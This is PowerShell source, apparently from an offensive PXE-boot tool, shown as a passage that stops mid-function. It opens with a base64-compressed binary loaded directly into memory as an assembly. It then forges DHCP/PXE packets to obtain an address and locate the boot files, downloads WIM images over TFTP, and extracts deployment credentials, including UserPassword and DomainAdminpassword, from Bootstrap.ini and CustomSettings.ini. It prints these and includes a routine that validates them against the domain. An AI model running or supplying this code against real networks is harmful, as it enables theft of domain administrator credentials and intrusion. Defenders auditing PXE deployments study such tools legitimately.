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 '@          $DeflatedStream = New-Object IO.Compression.DeflateStream(\[IO.MemoryStream\]\[Convert\]::FromBase64String($EncodedCompressedFile),\[IO.Compression.CompressionMode\]::Decompress)     $UncompressedFileBytes = New-Object Byte\[\](37888)     $DeflatedStream.Read($UncompressedFileBytes, 0, 37888) \| Out-Null     \[Reflection.Assembly\]::Load($UncompressedFileBytes) \| Out-Null }      \# Download file with TFTP function Download-TFTP {     Param(         \[String\]$tftpserver,         \[String\]$tftpfile,         \[String\]$tftpoutput     )          # $global:TransferFinishedEvent = New-object System.Threading.AutoResetEvent($False)     $pwd = Get-Location     $tftpoutputfull = "$pwd\\$tftpoutput"     Write-Host ">> Launch TFTP download"          $client = New-Object Tftp.Net.TftpClient($tftpserver)     $transfer = $client.Download($tftpfile)     $transfer.TransferMode = "octet"             # $transfer.OnFinished += ????     $stream = \[System.IO.StreamWriter\]::new($tftpoutputfull)     $transfer.Start($stream.BaseStream)          # Must be perfrom with OnFinished event ...      Do{         Sleep 5     }While( (Get-Item $tftpoutputfull).Length  -lt $transfer.ExpectedSize )          # $TransferFinishedEvent.WaitOne() } \# Export wim path from bcd Function Get-WimFile {     Param(         \[String\]$bcdFile     )          Write-Host ">> Parse the BCD file:" $bcdFile     $BCDStore = Get-BCDStore -FilePath $bcdFile     $BCDObjets = $BCDStore \| Get-BCDObject -Type 270532611     $CimMethodargs = @{}     Foreach ($BCDObjet in $BCDObjets){         $WimFiles += (Invoke-CimMethod -InputObject $BCDObjet -MethodName EnumerateElements $CimMethodargs).Elements.device.Path         Write-Host ">>>> Identify wim file :" ((Invoke-CimMethod -InputObject $BCDObjet -MethodName EnumerateElements $CimMethodargs).Elements.device.Path \| unique)     }     return $WimFiles \| unique } \# Detect bcd file on PXE server Function Find-BcdFile {     Param(         \[String\]$InterfaceAlias     )     #     # Main     #          # Define DHCP Transaction ID      $XID = New-Object Byte\[\] 4     $Random = New-Object Random     $Random.NextBytes($XID)     Write-Host ">> Get a valid IP adress"     Do{                  # Craft and send DHCP Discover          $Message = New-DhcpDiscoverPacket -XID $XID         # Set UDP Port 68 (Server-to-Client port)         $BindEndPoint = \[Net.EndPoint\](New-Object Net.IPEndPoint($(\[Net.IPAddress\]::Any, 68)))         # Set UDP Port 67 (Client-to-Server port)         $SendEndPoint = \[Net.EndPoint\](New-Object Net.IPEndPoint($(\[Net.IPAddress\]::Broadcast, 67)))         $PXEInfo = Send-DhcpPacket -Message $Message -BindEndPoint $BindEndPoint -SendEndPoint $SendEndPoint                          Write-Host ">>> >>> DHCP proposal IP address:" $PXEInfo.YIAddr                  # Craft and send DHCP Request IP Packet         $Message2 = New-DhcpDiscoverPacket -XID $XID -PXEinfo $PXEInfo         $PXEInfo2 = Send-DhcpPacket -Message $Message2 -BindEndPoint $BindEndPoint -SendEndPoint $SendEndPoint         Write-Host ">>> >>> DHCP Validation:" ($PXEInfo2.Options \| Where-Object {$\_.OptionCode -eq "53" }).OptionValue     } While (($PXEInfo2.Options \| Where-Object {$\_.OptionCode -eq "53" }).OptionValue -ne "DHCPACK")              $adapter = Get-NetAdapter -Name $InterfaceAlias         If (($adapter \| Get-NetIPConfiguration).IPv4Address.IPAddress) {             $adapter \| Remove-NetIPAddress -Confirm:$false         }         If (($adapter \| Get-NetIPConfiguration).Ipv4DefaultGateway) {             $adapter \| Remove-NetRoute -Confirm:$false         }                  $IP = $PXEInfo2.YIAddr         $PrefixLength = Convert-RvNetSubnetMaskClassesToCidr ($PXEInfo2.Options \| Where-Object {$\_.OptionCode -eq "1" }).OptionValue         $DefaultGateway = ($PXEInfo2.Options \| Where-Object {$\_.OptionCode -eq "3" }).OptionValue         if($DefaultGateway){             $null = $adapter \| New-NetIPAddress -AddressFamily "IPv4" -IPAddress $IP -PrefixLength $PrefixLength -DefaultGateway $DefaultGateway -Confirm:$false         }         else{             $null = $adapter \| New-NetIPAddress -AddressFamily "IPv4" -IPAddress $IP -PrefixLength $PrefixLength -DefaultGateway $PXEInfo.SIAddr -Confirm:$false         }         Write-Host ">>> >>> IP address configured:" ($adapter \| Get-NetIPConfiguration).IPv4Address.IPAddress         Sleep 20          if($PXEInfo){                  Write-Host ">> Request BCD File path"                  # Craft and send DHCP Request for BCD Packet         $Message3 = New-DhcpRequestPacket  -PXEinfo $PXEInfo         # UDP Port 68 (Server-to-Client port)             $BindEndPoint3 = \[Net.EndPoint\](New-Object Net.IPEndPoint($(\[Net.IPAddress\]($PXEInfo.YIAddr), 68)))                  # UDP Port 4011 (Client-to-Server port)             $SendEndPoint3 = \[Net.EndPoint\](New-Object Net.IPEndPoint($(\[Net.IPAddress\]($PXEInfo.SIAddr), 4011)))         $PXEInfo3 = Send-DhcpPacket -Message $Message3 -BindEndPoint $BindEndPoint3 -SendEndPoint $SendEndPoint3         $SourceFile = ($PXEInfo3.Options \| Where-Object {$\_.OptionCode -eq "252" }).OptionValue                  Write-Host ">>> >>> BCD File path: " $SourceFile         Write-Host ">>> >>> TFTP IP Address: " $PXEInfo3.SIAddr     }          return $PXEInfo3 } \# Find credentials inside \*.ini files Function Get-FindCredentials {     Param(         \[String\]$WimFile     )          Write-Host ">> Open" $WimFile          $pwd = Get-Location     $WimFile = "$pwd\\$WimFile"     $WimDir = $WimFile.split(".")\[0\]          $null = New-Item -ItemType directory -Path $WimDir     $null = Expand-WindowsImage -ImagePath $WimFile -Index 1 -ApplyPath $WimDir          $BootstrapPath = (Get-ChildItem -Filter "Bootstrap.ini" -r -ea Silent).FullName     if($BootstrapPath){         Write-Host ">>>> Finding Bootstrap.ini"         $Bootstrap = Get-IniContent $BootstrapPath                  Write-Host ">>>> >>>> DeployRoot =" $Bootstrap.Default.DeployRoot         Write-Host ">>>> >>>> UserID =" $Bootstrap.Default.UserID         Write-Host ">>>> >>>> UserDomain =" $Bootstrap.Default.UserDomain         Write-Host ">>>> >>>> UserPassword =" $Bootstrap.Default.UserPassword                  # Test-Authentification -Domain $Bootstrap.Default.UserDomain -UserName $Bootstrap.Default.UserID -Password $Bootstrap.Default.UserPassword     }          $CustomSettingsPath = (Get-ChildItem -Filter "CustomSettings.ini" -r -ea Silent).FullName     if($CustomSettingsPath){         Write-Host ">>>> Finding CustomSettings.ini"         $CustomSettings = Get-IniContent $CustomSettingsPath                  Write-Host ">>>> >>>> DomainAdmin =" $CustomSettings.Default.DomainAdmin         Write-Host ">>>> >>>> DomainAdminDomain =" $CustomSettings.Default.DomainAdminDomain         Write-Host ">>>> >>>> DomainAdminpassword =" $CustomSettings.Default.DomainAdminpassword         # Test-Authentification -Domain $CustomSettings.Default.DomainAdminDomain -UserName $CustomSettings.Default.DomainAdmin -Password $CustomSettings.Default.DomainAdminpassword         } } \# Test some credentials  Function Test-Authentification {     Param(         \[String\]$Domain,         \[String\]$UserName,         \[String\]$Password              )     $ct = \[System.DirectoryServices.AccountManagement.ContextType\]::Domain     $pc = New-Object System.DirectoryServices.AccountManagement.PrincipalContext $ct,$Domain     if($pc.ValidateCredentials($UserName,$Password)){         $test = "ok"         Write-Host ">>>> >>>> >>>> Credential testing: OK" -Foregroundcolor Green     }     else{         Write-Host ">>>> >>>> >>>> Credential testing: NOK" -Collor Red     } }     ##########################     ##      ## Adaptation & Inspiration from     ## Author: Chris Dent     ## Name : DHCP Discovery     ## Link : https://www.indented.co.uk/dhcp-discovery/     ##      ########################## \# Create a DHCP Discover Packet Function New-DhcpDiscoverPacket{     Param(     \[String\]$MacAddressString = "AA:BB:CC:DD:EE:FC",          \[String\]$UUIDString = "AABBCCDD-AABB-AABB-AABB-AABBCCDDEEFF",          $XID,          $PxeInfo     )          # Create the Byte Array     $DhcpDiscover = New-Object Byte\[\] 243          # Convert the MAC Address String into a Byte Array     # Drop any characters which might be used to delimit the string     $MacAddressString = $MacAddressString -Replace "-\|:"      $MacAddress = \[BitConverter\]::GetBytes((\[UInt64\]::Parse($MacAddressString,\[Globalization.NumberStyles\]::HexNumber)))     \[Array\]::Reverse($MacAddress)     # Copy the MacAddress Bytes into the array (drop the first 2 bytes,      # too many bytes returned from UInt64)     \[Array\]::Copy($MACAddress, 2, $DhcpDiscover, 28, 6)               # Copy the Transaction ID into the array     \[Array\]::Copy($XID, 0, $DhcpDiscover, 4, 4)          # Convert the UID Address String into a Byte Array     $UUIDString = $UUIDString -Replace "-\|:"      $UUIDString1= $UUIDString.Substring(0,16)     $UUIDString2= $UUIDString.Substring(16,16)     $UUID1 = \[BitConverter\]::GetBytes((\[UInt64\]::Parse($UUIDString1,\[Globalization.NumberStyles\]::HexNumber)))     $UUID2 = \[BitConverter\]::GetBytes((\[UInt64\]::Parse($UUIDString2,\[Globalization.NumberStyles\]::HexNumber)))     $UUID = $UUID1 + $UUID2     \[Array\]::Reverse($UUID)     # Set the OP Code to BOOTREQUEST     $DhcpDiscover\[0\] = 1     # Set the Hardware Address Type to Ethernet     $DhcpDiscover\[1\] = 1     # Set the Hardware Address Length (number of bytes)     $DhcpDiscover\[2\] = 6     # Set the Broadcast Flag     $DhcpDiscover\[10\] = 128     # Set the Magic Cookie values     $DhcpDiscover\[236\] = 99     $DhcpDiscover\[237\] = 130     $DhcpDiscover\[238\] = 83     $DhcpDiscover\[239\] = 99     # Set the DHCPDiscover Message Type Option 53     $DhcpDiscover\[240\] = 53     $DhcpDiscover\[241\] = 1     $DhcpDiscover\[242\] = 1     # Set the Option #55 : Parameter Request List     $DhcpDiscover\_Option55 = New-Object Byte\[\] 38     $DhcpDiscover\_Option55\[0\] = 55     $DhcpDiscover\_Option55\[1\] = 36     $DhcpDiscover\_Option55\[2\] = 1     $DhcpDiscover\_Option55\[3\] = 2     $DhcpDiscover\_Option55\[4\] = 3     $DhcpDiscover\_Option55\[5\] = 4     $DhcpDiscover\_Option55\[6\] = 5     $DhcpDiscover\_Option55\[7\] = 6     $DhcpDiscover\_Option55\[8\] = 11     $DhcpDiscover\_Option55\[9\] = 12     $DhcpDiscover\_Option55\[10\] = 13     $DhcpDiscover\_Option55\[11\] = 15     $DhcpDiscover\_Option55\[12\] = 16     $DhcpDiscover\_Option55\[13\] = 17     $DhcpDiscover\_Option55\[14\] = 18     $DhcpDiscover\_Option55\[15\] = 22     $DhcpDiscover\_Option55\[16\] = 23     $DhcpDiscover\_Option55\[17\] = 28     $DhcpDiscover\_Option55\[18\] = 40     $DhcpDiscover\_Option55\[19\] = 41     $DhcpDiscover\_Option55\[20\] = 42     $DhcpDiscover\_Option55\[21\] = 43     $DhcpDiscover\_Option55\[22\] = 50     $DhcpDiscover\_Option55\[23\] = 51     $DhcpDiscover\_Option55\[24\] = 54     $DhcpDiscover\_Option55\[25\] = 58     $DhcpDiscover\_Option55\[26\] = 59     $DhcpDiscover\_Option55\[27\] = 60     $DhcpDiscover\_Option55\[28\] = 66     $DhcpDiscover\_Option55\[29\] = 67     $DhcpDiscover\_Option55\[30\] = 128     $DhcpDiscover\_Option55\[31\] = 129     $DhcpDiscover\_Option55\[32\] = 130     $DhcpDiscover\_Option55\[33\] = 131     $DhcpDiscover\_Option55\[34\] = 132     $DhcpDiscover\_Option55\[35\] = 133     $DhcpDiscover\_Option55\[36\] = 134     $DhcpDiscover\_Option55\[37\] = 135     $DhcpDiscover = $DhcpDiscover + $DhcpDiscover\_Option55     # Set the Option #57 : Maximum DHCP Message Size     $DhcpDiscover\_Option57 = New-Object Byte\[\] 4     $DhcpDiscover\_Option57\[0\] = 57     $DhcpDiscover\_Option57\[1\] = 2     $DhcpDiscover\_Option57\[2\] = 4     $DhcpDiscover\_Option57\[3\] = 236     $DhcpDiscover = $DhcpDiscover + $DhcpDiscover\_Option57          # Set the Option #60     $Option60String = "PXEClient"     $DhcpDiscover\_Option60 = New-Object Byte\[\] 2     $DhcpDiscover\_Option60\[0\] = 60     $DhcpDiscover\_Option60\[1\] = \[System.Text.Encoding\]::ASCII.GetBytes($Option60String).Length;     $Option60Array = \[System.Text.Encoding\]::ASCII.GetBytes($Option60String);     $DhcpDiscover\_Option60 = $DhcpDiscover\_Option60 + $Option60Array;     $DhcpDiscover = $DhcpDiscover + $DhcpDiscover\_Option60;     # Set the Option #93 : Client System Architecture     $DhcpDiscover\_Option93 = New-Object Byte\[\] 4     $DhcpDiscover\_Option93\[0\] = 93     $DhcpDiscover\_Option93\[1\] = 2     $DhcpDiscover\_Option93\[2\] = 0     $DhcpDiscover\_Option93\[3\] = 0 # IA x86 PC     $DhcpDiscover = $DhcpDiscover + $DhcpDiscover\_Option93          # Set the Option #97 : Client Identifier     $DhcpDiscover\_Option97 = New-Object Byte\[\] 3     $DhcpDiscover\_Option97\[0\] = 97     $DhcpDiscover\_Option97\[1\] = 17     $DhcpDiscover\_Option97\[2\] = 0     $DhcpDiscover = $DhcpDiscover + $DhcpDiscover\_Option97 + $UUID          if($PxeInfo){         # Set the DHCP Request Message Type Option 53         $DhcpDiscover\[240\] = 53         $DhcpDiscover\[241\] = 1         $DhcpDiscover\[242\] = 3              # Set the Option #54 : DHCP Identifier         $DHCPIdentifierString = ($PxeInfo.Options \| Where {$\_.OptionName -contains "DhcpServerIdentifier"}).OptionValue         $DHCPIdentifier = $DHCPIdentifierString.Split(".")         $DhcpDiscover\_Option54 = New-Object Byte\[\] 6         $DhcpDiscover\_Option54\[0\] = 54         $DhcpDiscover\_Option54\[1\] = 4         $DhcpDiscover\_Option54\[2\] = $DHCPIdentifier\[0\]         $DhcpDiscover\_Option54\[3\] = $DHCPIdentifier\[1\]         $DhcpDiscover\_Option54\[4\] = $DHCPIdentifier\[2\]         $DhcpDiscover\_Option54\[5\] = $DHCPIdentifier\[3\]         $DhcpDiscover = $DhcpDiscover + $DhcpDiscover\_Option54                  # Set the Option #50 : Requested Ip Address         $YIAddr = ($PxeInfo.YIAddr).Split(".")         $DhcpDiscover\_Option50 = New-Object Byte\[\] 6         $DhcpDiscover\_Option50\[0\] = 50         $DhcpDiscover\_Option50\[1\] = 4         $DhcpDiscover\_Option50\[2\] = $YIAddr\[0\]         $DhcpDiscover\_Option50\[3\] = $YIAddr\[1\]         $DhcpDiscover\_Option50\[4\] = $YIAddr\[2\]         $DhcpDiscover\_Option50\[5\] = $YIAddr\[3\]         $DhcpDiscover = $DhcpDiscover + $DhcpDiscover\_Option50     }          # Set the end     